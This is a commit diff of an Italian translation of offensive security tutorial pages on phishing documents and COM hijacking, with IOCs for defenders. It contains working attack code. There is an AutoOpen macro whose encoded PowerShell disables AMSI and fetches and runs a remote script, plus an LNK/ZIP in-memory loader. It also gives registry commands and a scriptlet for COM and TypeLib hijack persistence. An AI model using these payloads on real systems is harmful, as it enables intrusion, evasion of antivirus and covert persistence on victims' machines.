Translated ['src/generic-methodologies-and-resources/phishing-methodolog

2025-10-10 18:36:50 +00:00 · 2025-08-28 22:42:35 +00:00 · 2025-08-28 22:42:35 +00:00 · 5556a0ded2
commit 5556a0ded2
parent 9054eb9a60
2 changed files with 152 additions and 43 deletions
--- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
@ -2,39 +2,39 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Office Documents
+## Documenti Office

-Microsoft Word esegue la convalida dei dati del file prima di aprire un file. La convalida dei dati viene eseguita sotto forma di identificazione della struttura dei dati, rispetto allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in analisi non verrà aperto.
+Microsoft Word esegue la validazione dei dati del file prima di aprirlo. La validazione dei dati viene effettuata tramite l'identificazione della struttura dei dati, in conformità allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file analizzato non verrà aperto.

-Di solito, i file Word contenenti macro utilizzano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione del file e mantenere comunque le loro capacità di esecuzione delle macro.\
-Ad esempio, un file RTF non supporta le macro, per design, ma un file DOCM rinominato in RTF sarà gestito da Microsoft Word e sarà in grado di eseguire macro.\
-Gli stessi interni e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint, ecc.).
+Di norma, i file Word che contengono macros usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiandone l'estensione e mantenere comunque la capacità di eseguire macros.  
+Per esempio, un file RTF non supporta macros, per progettazione, ma un file DOCM rinominato in RTF sarà gestito da Microsoft Word e sarà in grado di eseguire macros.  
+Gli stessi dettagli interni e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint ecc.).

-Puoi utilizzare il seguente comando per controllare quali estensioni verranno eseguite da alcuni programmi Office:
+È possibile utilizzare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office:
 ```bash
 assoc | findstr /i "word excel powerp"
 ```
-DOCX file che fanno riferimento a un modello remoto (File –Opzioni –Componenti aggiuntivi –Gestisci: Modelli –Vai) che include macro possono “eseguire” anche le macro.
+I file DOCX che fanno riferimento a un template remoto (File –Options –Add-ins –Manage: Templates –Go) che include macros possono anch'essi “eseguire” macros.

-### Caricamento Immagine Esterna
+### Caricamento immagine esterna

-Vai a: _Inserisci --> Parti Veloci --> Campo_\
-_**Categorie**: Collegamenti e Riferimenti, **Nomi dei campi**: includePicture, e **Nome file o URL**:_ http://\<ip>/whatever
+Vai a: _Insert --> Quick Parts --> Field_\
+_**Categories**: Collegamenti e Riferimenti, **Nomi dei campi**: includePicture, and **Nome file o URL**:_ http://<ip>/whatever

 ![](<../../images/image (155).png>)

-### Macro Backdoor
+### Backdoor tramite macros

-È possibile utilizzare le macro per eseguire codice arbitrario dal documento.
+È possibile usare macros per eseguire codice arbitrario dal documento.

-#### Funzioni di Autoload
+#### Funzioni Autoload

 Più sono comuni, più è probabile che l'AV le rilevi.

 - AutoOpen()
 - Document_Open()

-#### Esempi di Codice Macro
+#### Esempi di codice per macros
 ```vba
 Sub AutoOpen()
 CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -66,24 +66,24 @@ proc.Create "powershell <beacon line generated>
 ```
 #### Rimuovere manualmente i metadati

-Vai su **File > Info > Ispeziona documento > Ispeziona documento**, che aprirà l'Inspect Document. Clicca su **Ispeziona** e poi su **Rimuovi tutto** accanto a **Proprietà del documento e informazioni personali**.
+Fo to **File > Info > Inspect Document > Inspect Document**, che aprirà il Document Inspector. Clicca **Inspect** e poi **Remove All** accanto a **Document Properties and Personal Information**.

 #### Estensione del documento

-Quando hai finito, seleziona il menu a discesa **Salva come tipo**, cambia il formato da **`.docx`** a **Word 97-2003 `.doc`**.\
-Fallo perché **non puoi salvare macro all'interno di un `.docx`** e c'è uno **stigma** **attorno** all'estensione abilitata per le macro **`.docm`** (ad esempio, l'icona della miniatura ha un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa **estensione legacy `.doc` è il miglior compromesso**.
+Quando hai finito, seleziona il menu a discesa **Save as type**, cambia il formato da **`.docx`** a Word 97-2003 **`.doc`**.\
+Fallo perché non **puoi** salvare macro's dentro un **`.docx`** e c'è uno **stigma** **attorno** all'estensione macro-enabled **`.docm`** (es. l'icona in miniatura ha un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa estensione legacy **`.doc`** è il miglior compromesso.

-#### Generatori di macro dannose
+#### Malicious Macros Generators

 - MacOS
 - [**macphish**](https://github.com/cldrn/macphish)
 - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)

-## File HTA
+## HTA Files

-Un HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "completamente fidata", senza i vincoli del modello di sicurezza di un browser.
+Un HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "fully trusted", senza i vincoli del modello di sicurezza di un browser.

-Un HTA viene eseguito utilizzando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non saranno in grado di eseguire.
+Un HTA viene eseguito usando **`mshta.exe`**, che di solito è **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se IE è stato disinstallato, gli HTA non saranno in grado di eseguire.
 ```html
 <--! Basic HTA Execution -->
 <html>
@ -140,9 +140,9 @@ self.close
 ```
 ## Forzare l'autenticazione NTLM

-Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, ad esempio, potresti aggiungere **immagini invisibili** a email o HTML che l'utente accederà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **attiveranno** un'**autenticazione** solo per **aprire la cartella.**
+Esistono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per esempio, potresti aggiungere **immagini invisibili** a email o HTML a cui l'utente accederà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **innescheranno** un'**autenticazione** semplicemente aprendo la cartella.

-**Controlla queste idee e altro nelle seguenti pagine:**
+**Controlla queste idee e altre nelle seguenti pagine:**


 {{#ref}}
@ -154,11 +154,62 @@ Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, ad esemp
 ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
 {{#endref}}

-### Relay NTLM
+### NTLM Relay

-Non dimenticare che non puoi solo rubare l'hash o l'autenticazione ma anche **eseguire attacchi di relay NTLM**:
+Non dimenticare che non si può solo rubare l'hash o l'autenticazione, ma si può anche eseguire NTLM relay attacks:

- [**Attacchi di relay NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (relay NTLM ai certificati)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
+- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
+- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
+
+## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
+
+Campagne altamente efficaci consegnano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk malevolo. Il trucco è che il reale PowerShell loader è memorizzato all'interno dei byte grezzi dello ZIP dopo un marker unico, e il .lnk lo estrae ed esegue completamente in memoria.
+
+Flusso tipico implementato dalla one-liner PowerShell nel .lnk:
+
+1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e la cartella superiore della directory di lavoro corrente.
+2) Leggere i byte dello ZIP e trovare un marker hardcoded (es., xFIQCV). Tutto ciò che segue il marker è il PowerShell payload incorporato.
+3) Copiare lo ZIP in %ProgramData%, estrarlo lì, e aprire il .docx esca per apparire legittimo.
+4) Bypassare AMSI per il processo corrente: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
+5) Deoffuscare la fase successiva (es., rimuovere tutti i caratteri #) ed eseguirla in memoria.
+
+Esempio di skeleton PowerShell per estrarre ed eseguire la fase incorporata:
+```powershell
+$marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
+$paths    = @(
+"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
+"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
+)
+$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
+if(-not $zip){ return }
+$bytes = [IO.File]::ReadAllBytes($zip.FullName)
+$idx   = [System.MemoryExtensions]::IndexOf($bytes, $marker)
+if($idx -lt 0){ return }
+$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
+$code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
+[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+Invoke-Expression $code
+```
+Note
+- La delivery spesso abusa di sottodomini PaaS di buona reputazione (es., *.herokuapp.com) e può filtrare i payload (fornire ZIP benigni in base a IP/UA).
+- La fase successiva frequentemente decripta base64/XOR shellcode ed esegue tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco.
+
+Persistence usata nella stessa catena
+- COM TypeLib hijacking del Microsoft Web Browser control in modo che IE/Explorer o qualsiasi app che lo incorpora rilanci automaticamente il payload. Vedi dettagli e comandi pronti all'uso qui:
+
+{{#ref}}
+../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+{{#endref}}
+
+Hunting/IOCs
+- ZIP files contenenti la stringa marker ASCII (es., xFIQCV) aggiunta ai dati dell'archivio.
+- .lnk che enumera le cartelle genitore/utente per localizzare lo ZIP e apre un documento esca.
+- Manomissione di AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
+- Thread aziendali a lunga esecuzione che terminano con link ospitati su domini PaaS affidabili.
+
+## Riferimenti
+
+- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
+- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@ -4,23 +4,23 @@

 ### Ricerca di componenti COM inesistenti

-Poiché i valori di HKCU possono essere modificati dagli utenti, **COM Hijacking** potrebbe essere utilizzato come un **meccanismo persistente**. Utilizzando `procmon` è facile trovare registri COM cercati che non esistono e che un attaccante potrebbe creare per persistere. Filtri:
+Poiché i valori di HKCU possono essere modificati dagli utenti, **COM Hijacking** può essere usato come **meccanismo persistente**. Usando `procmon` è facile trovare voci del registro COM cercate che non esistono, che un attaccante potrebbe creare per ottenere persistenza. Filtri:

- Operazioni **RegOpenKey**.
- dove il _Risultato_ è **NOME NON TROVATO**.
- e il _Percorso_ termina con **InprocServer32**.
+- **RegOpenKey** operations.
+- dove il _Result_ è **NAME NOT FOUND**.
+- e il _Path_ termina con **InprocServer32**.

-Una volta deciso quale COM inesistente impersonare, esegui i seguenti comandi. _Fai attenzione se decidi di impersonare un COM che viene caricato ogni pochi secondi, poiché potrebbe essere eccessivo._
+Una volta deciso quale COM inesistente impersonare, esegui i seguenti comandi. _Fai attenzione se decidi di impersonare un COM che viene caricato ogni pochi secondi, perché potrebbe essere eccessivo._
 ```bash
 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
 New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
 ```
-### Componenti COM del Task Scheduler suscettibili di hijacking
+### Hijackable Task Scheduler COM components

-Windows Tasks utilizza Trigger personalizzati per chiamare oggetti COM e poiché vengono eseguiti tramite il Task Scheduler, è più facile prevedere quando verranno attivati.
+Windows Tasks usano Custom Triggers per chiamare COM objects e, poiché vengono eseguiti tramite il Task Scheduler, è più facile prevedere quando verranno attivati.

-<pre class="language-powershell"><code class="lang-powershell"># Mostra i CLSID COM
+<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 $Tasks = Get-ScheduledTask

 foreach ($Task in $Tasks)
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

 if ($Task.Principal.GroupId -eq $usersGroup)
 {
-Write-Host "Nome Task: " $Task.TaskName
-Write-Host "Percorso Task: " $Task.TaskPath
+Write-Host "Task Name: " $Task.TaskName
+Write-Host "Task Path: " $Task.TaskPath
 Write-Host "CLSID: " $Task.Actions.ClassId
 Write-Host
 }
@ -43,13 +43,13 @@ Write-Host
 }
 }

-# Output di esempio:
-<strong># Nome Task:  Esempio
-</strong># Percorso Task:  \Microsoft\Windows\Esempio\
+# Sample Output:
+<strong># Task Name:  Example
+</strong># Task Path:  \Microsoft\Windows\Example\
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
-# [più simile a quello precedente...]</code></pre>
+# [more like the previous one...]</code></pre>

-Controllando l'output puoi selezionare uno che verrà eseguito **ogni volta che un utente accede** ad esempio.
+Controllando l'output puoi selezionarne uno che verrà eseguito, ad esempio, **ogni volta che un utente effettua il login**.

 Ora cercando il CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** e in HKLM e HKCU, di solito scoprirai che il valore non esiste in HKCU.
 ```bash
@ -72,6 +72,64 @@ Name                                   Property
 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 ```
-Quindi, puoi semplicemente creare l'entry HKCU e ogni volta che l'utente accede, il tuo backdoor verrà attivato.
+A quel punto, puoi semplicemente creare la voce HKCU e, ogni volta che l'utente effettua il login, il tuo backdoor verrà eseguito.
+
+---
+
+## COM TypeLib Hijacking (script: moniker persistence)
+
+Type Libraries (TypeLib) definiscono le interfacce COM e vengono caricate tramite `LoadTypeLib()`. Quando un server COM viene istanziato, il sistema operativo può anche caricare il TypeLib associato consultando le chiavi di registro sotto `HKCR\TypeLib\{LIBID}`. Se il percorso del TypeLib viene sostituito con un **moniker**, ad es. `script:C:\...\evil.sct`, Windows eseguirà lo scriptlet quando il TypeLib verrà risolto – producendo una persistenza furtiva che si attiva quando vengono utilizzati componenti comuni.
+
+Questo è stato osservato contro il Microsoft Web Browser control (spesso caricato da Internet Explorer, da app che incorporano WebBrowser e persino da `explorer.exe`).
+
+### Passaggi (PowerShell)
+
+1) Identifica il TypeLib (LIBID) utilizzato da un CLSID ad alta frequenza. Esempio di CLSID spesso abusato dalle catene malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
+```powershell
+$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
+$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
+$ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
+"CLSID=$clsid  LIBID=$libid  VER=$ver"
+```
+2) Puntare il percorso TypeLib per utente a uno scriptlet locale usando il moniker `script:` (non sono richiesti privilegi di amministratore):
+```powershell
+$dest = 'C:\\ProgramData\\Udate_Srv.sct'
+New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
+Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
+```
+3) Posiziona un file JScript `.sct` minimo che rilancia il tuo payload principale (es. una `.lnk` usata dalla catena iniziale):
+```xml
+<?xml version="1.0"?>
+<scriptlet>
+<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
+<script language="JScript">
+<![CDATA[
+try {
+var sh = new ActiveXObject('WScript.Shell');
+// Re-launch the malicious LNK for persistence
+var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
+sh.Run(cmd, 0, false);
+} catch(e) {}
+]]>
+</script>
+</scriptlet>
+```
+4) Attivazione – l'apertura di IE, un'applicazione che incorpora il WebBrowser control, o anche la normale attività di Explorer caricherà la TypeLib ed eseguirà lo scriptlet, riarmando la tua chain al logon/reboot.
+
+Pulizia
+```powershell
+# Remove the per-user TypeLib hijack
+Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
+# Delete the dropped scriptlet
+Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
+```
+Note
+- Puoi applicare la stessa logica ad altri componenti COM di uso frequente; risolvi sempre prima il vero `LIBID` da `HKCR\CLSID\{CLSID}\TypeLib`.
+- Su sistemi 64-bit puoi anche popolare la sottochiave `win64` per i consumatori a 64-bit.
+
+## Riferimenti
+
+- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
+- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)

 {{#include ../../banners/hacktricks-training.md}}